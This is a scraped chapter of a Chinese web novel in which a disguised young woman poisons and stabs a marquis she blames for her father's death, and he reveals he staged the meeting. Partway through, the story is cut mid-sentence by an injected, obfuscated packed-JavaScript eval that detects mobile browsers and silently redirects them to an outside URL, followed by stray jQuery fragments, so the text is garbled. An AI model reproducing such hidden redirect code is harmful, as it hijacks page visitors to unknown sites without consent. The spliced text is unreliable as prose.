3. 第 3 章

作品:《宿敌他对我蓄谋已久

    季疏桐身子一僵,她转眸望向萧顾鸣。


    原来,他早就已经看出了自己的身份,那他为何不直接戳穿她?


    还把她当婢子使唤,让她给他沏茶。


    季疏桐也不急,只淡淡问道:“我用了易容术,侯爷是怎么认出我来的?”


    他的眼眸幽黑,哑着嗓音,阴恻恻道:“你化成灰,我都能认出你来。”


    季疏桐笑着回他:“我不如你这般心思细腻,如果是侯爷化成灰了,我是一定认不出来的。”


    “没有婢子会像季姑娘这样,将不情不愿摆在脸上,见到我犹如见到敌人一般。”他顿了顿,接着问:“季姑娘觉得,我是怎么认出你来的?”


    她假意懊恼道:“怪我,一时没忍住才漏了馅,我应该再装一会。”


    萧顾鸣笑容一滞,他眼眸幽黑,语气略带冷漠:“季姑娘中毒了,我有解药。”


    “季姑娘将九洲图给我,我就把解药给你。”


    “不需要,侯爷怕不是忘了,我精通毒术,身上自然常备解药。”


    她从袖口取出一粒药丸,吞入口中,一脸得意道:“毒解了。”


    萧顾鸣没说话,他只是靜靜看着季疏桐的动作。


    季疏桐的脸上虽然戴着一张陌生的脸,但是她的那些小表情,都与她小的时候一模一样。


    让他想起,季疏桐少时背诗赢过他时,也是这样一副表情。


    季疏桐又笑了笑,她冷声道:“现在,轮到你了。”


    她话刚说完,萧顾鸣就突然觉得自己身体发软,全身都使不上力气,他呼吸急促,蹙眉看着那个笑成花的少女。


    “你对我做了什么?”他语气虚浮,整个人也是虚浮的。


    季疏桐目光冰冷地看着他,轻声道:“不过是给你下了些软筋散,你给我下毒,我自然是要回礼的。”


    萧顾鸣脸色大变,他最后还是支撑不住,倒在了地上。


    屋内寂静片刻,静悄的能听见窗外的风声,风吹起地上的落叶,传出一阵淅淅沥沥的响动。


    假面皮从季疏桐的脸上滑落,掉在地上发出了轻轻一声,她却丝毫不在意。


    季疏桐的阿母是扬州人,她的容貌带着江南水乡的灵气,季疏桐的长相也随她阿母,是江南女子特有的气质。


    她的皮肤白嫩,脸型温润柔和,一双眼睛清澈如水,却又带着灵气,她眉眼如画,鼻子小巧,嘴巴饱满,看着十分秀气。


    萧顾鸣躺在地上,呼吸有些急促,他虚浮着问道:“我没喝你的茶,你是如何下毒的?”


    季疏桐浅浅笑道:“谁说这毒一定要吃下去才有用,我研发出一种新毒,这毒只要让人碰上,即刻就会浑身无力,尤其对内力深厚者毒性更强。”


    说完,她又轻声叹息道:“可惜我今日没带能取人性命的毒药,不然此刻恐怕你已经是一具尸体了。”


    原来,季疏桐方才将毒药悄悄抹在了茶盏的外壁上,萧顾鸣因为接过了那只茶盏,所以他间接性地被下了毒。


    萧顾鸣洁白的脸庞上露出一些痛苦之色,他的一双漂亮眸子里晦暗不明,嘴唇也紧抿着。


    季疏桐居高临下地看着他,她看向萧顾鸣的眼神就像在看一具尸体,她语气冰冷:“我阿父的遗物在哪?”


    萧顾鸣有气无力道:“你阿父的遗物我怎会知道。”


    季疏桐冷笑一声:“我的阿父死在你的府中,将他的遗体送回来后,他的东西就不见了,不是你拿走的又会是谁?”


    “我真的不知,你阿父死得凄惨,我也很痛心。”他一面说着一面满脸痛苦之意。


    这些话彻底点燃了季疏桐的怒火,她蹲下身子,一把揪住萧顾鸣的衣领,想把他拽起来。


    她的力气不够,拽了几下萧顾鸣没拽动后,她又松开手,没继续了。


    季疏桐蹲在地上,看着躺在地上的萧顾鸣,蓦然想起自己死去的阿父,她心下一酸,眼眶瞬间发红。


    她颤着嗓音问他:“阿父之死到底和你有没有关系?”


    萧顾鸣的目光直直盯着她的眼睛,轻声道:“如果我说没有,你会信吗?”


    你会信吗?


    季疏桐觉得自己像是听到了什么天大笑话一样,像他这样背信弃义之人,还谈何信任。


    “季姑娘,我们少时就已相识,我是什么样的人,你不知吗?”


    她冷笑一声:“你是什么样的人?你卑鄙无耻,忘恩负义,你背叛了我阿父。”


    她顿了顿,眼中眸光流转,“你我早就不是一路人了。”


    萧顾鸣的眼尾猩红,他唇色苍白,有气无力道:“不是一路人?你怎么就不信我呢?”


    季疏桐从袖口抽出一把匕首,那是一把通体银白的小匕首,是她拿来防身用的。


    她看了萧顾鸣一眼,闭上了自己眼眸。


    她在心里安慰着自己,萧顾鸣的话就没有一句是实话,他根本就不配做她阿父曾经的学生。


    他就是个忘恩负义的小人,不值得她怜悯。


    安慰好自己后,她又缓缓睁开双眼。


    躺在地上少年容貌俊美,面色却是十分不好看,这张脸和少时比起来成熟了许多。


    她却怎么看怎么不顺眼。


    下一瞬,她毫不犹豫地将那把匕首,朝萧顾鸣心口猛地刺去。


    季疏桐拿匕首的手都在颤抖,她用尽了全身的力气狠狠捅了进去。


    她声线不稳,嗓音微微颤抖着:“我不信,像你这样的人,说的话是做不得真的。”


    鲜红的血即刻蔓延出来,染红他霁色的衣袍。


    空气中弥漫着一股浓烈的血腥味,萧顾鸣瞳孔微缩,他感觉到心口传来的剧烈疼痛。


    这痛直疼得他心都揪起来,他眉毛拧成一团,看着很痛苦的样子。


    季疏桐握着匕首的那只手上,手指都在颤抖,萧顾鸣身上的血沾染许多在她的手上。


    那血的触感还是温热的,季疏桐却觉得自己的手犹如被火烤般,她的心中很不是滋味。


    她突然想起了很多事,比如少时他们曾一起比谁背得诗词更多,他会故意背错几句诗,让她赢。比如她的毛笔坏了,他会送她一支新的毛笔。


    还比如,他们曾经差点议亲。


    萧顾鸣面色惨白,没有血色的嘴唇张开却又闭上。


    “太傅之死,与我无关,你应该知道,如果是我要杀他,做得比这还干净,又怎会留下破绽让你发现。”


    季疏桐拔出那把插在萧顾鸣胸口处的匕首,问他:“那我阿父的遗物呢?在哪里?”


    “我并不知道你阿父的遗物在哪里。”他捂着自己的胸口,“你走吧,否则我会想杀了你。”


    屋内的熏香不知何时燃尽,外面的日头也暗了不少。


    门口外传来一阵稀疏的脚步声,季疏桐缓过神,她将手中的匕首收进袖口,再捡起地上的那张假面皮,迅速离开了这里。


    门外的侍卫刚走进来就看到满地狼藉,还有躺在血泊中的萧顾鸣,皆是一惊。


    侍卫们迅速将萧顾鸣扶起。


    萧顾鸣早有吩咐,他告诉他们,如果他一个时辰都没有出来,就让他们带着医官进来。


    起初他们还不明就里,如今看到这一幕却是明白了,不过还有一事让他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062418|195083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想不清楚,侯爷既然让他们去请医官。


    难道侯爷早就料到他会受伤?


    他们也不知道究竟是何人,竟有如此大的胆子敢刺伤侯爷,况且看这情形还是侯爷默许的。


    医官先是给萧顾鸣解了软筋散之毒,再给萧顾鸣查看完伤口,伤口虽然深,但好在并未伤及要害。


    虽然季疏桐那一刀是用了十分的力气,但是那把刀不行,是个不锋利的。


    要是是他那把削铁如泥的匕首,恐怕他现在就可以给自己准备后事了。


    医官给萧顾鸣包扎好伤口后,嘱咐了几句伤口的注意事项,就离开了。


    茶室内一时间又恢复了寂静。


    萧顾鸣望着矮几上的那盏白瓷茶盏,目光瞬间变得冰冷,脸色也沉了下来。


    她想要太傅的遗物?没门。


    今日种种都是他计划好的,不然季疏桐以为,侯府戒备森严,就凭季疏桐和她那两个侍女,是如何能进的来?


    他在太傅府外安插了眼线,早在季疏桐出府时,他就已经知道了她的行踪,以他对季疏桐的了解,太傅在他的府中遭遇了意外,季疏桐肯定是要来查探一番,说不定还会来找他算帐,毕竟他们俩的梁子还不小。


    不过,让他没想到的是,季疏桐竟然比他想象中的还要狠。


    就这样直挺挺地捅了他一刀,要说不痛,肯定是假的。


    他本来打算给季疏桐下点小毒,试探一下她的口风,他知道季疏桐自幼苦练毒术,这毒伤不了她的,没想到头来却是他挨了一刀。


    看来想要得到这九州图,还是得从长计议。


    *


    一直等在侯府外的香传,见自家姑娘出来,松了口气。


    香传走上前,看见季疏桐的脸色有些不太好的样子,她的脸色惨白,假面皮被她摘下拿在手中,她的身上还有一股淡淡的血腥味。


    血腥味?


    香传面色一变,急忙上前查看季疏桐有没有受伤,仔细查看一番后,见她确实没事,身上的血也不是她自己的。


    香传这才问她:“姑娘,发生了何事,您的脸色为何如此不好?还有您身上的血腥味是怎么一回事?。”


    季疏桐感觉自己浑身虚脱无力,她轻声道:“我方才捅了萧顾鸣一刀。”


    香传面色大变:“什么叫捅了明昭侯一刀?姑娘去杀明昭侯了?”


    她急个不行,道:“姑娘,奴婢跟您说了不要轻举妄动,你怎么就是不听,如果陛下知道了姑娘杀害明昭侯,姑娘该怎么办?”


    府外大街远远传来小贩的喝卖声,季疏桐站在树下的阴影里,心中释然不少,颤抖的手也渐渐平缓。


    “他没死。”季疏桐只说了这一句。


    香传松口气,道:“姑娘,你可莫要再如此行事了,大人如今不在了,没人能护的了你啊。”


    “要是侯爷来找您麻烦怎么办?”香传急得在原地打转。


    自家娘子无依无靠,如今还捅了明昭侯一刀,要是明昭侯告倒陛下那里,娘子可如何是好。


    香传愁都要愁死了,只恨她不能亲自替姑娘顶罪。


    “我自己就可以护住自己。”季疏桐的语气平静无波澜。


    若是真要人护着,要靠着别人过日子,从小到大她都已经不知道死了多少遍了。


    她自己便可护着自己,如果萧顾鸣当真告到陛下那里,她自然也有法子应对。


    她既然动了手,自然有为自己想过后路,她根本就不担心这个,只是让她没想到的是,萧顾鸣这人宁愿被她捅一刀,都不愿意说实话。


    他就不怕自己真的杀了他吗?